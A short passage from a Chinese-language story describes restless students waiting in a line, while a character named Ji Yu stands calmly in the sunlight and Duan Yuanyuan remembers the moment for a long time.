她们的角度能看到队列中有的同学已经开始跺着脚,不耐烦的四处张望。 只有纪预,站在人群中,不骄不躁。 阳光洒落在纪预周身,泛着朦胧的光晕。 这一幕,没有被手机拍下来,可段圆圆却记了很久很久。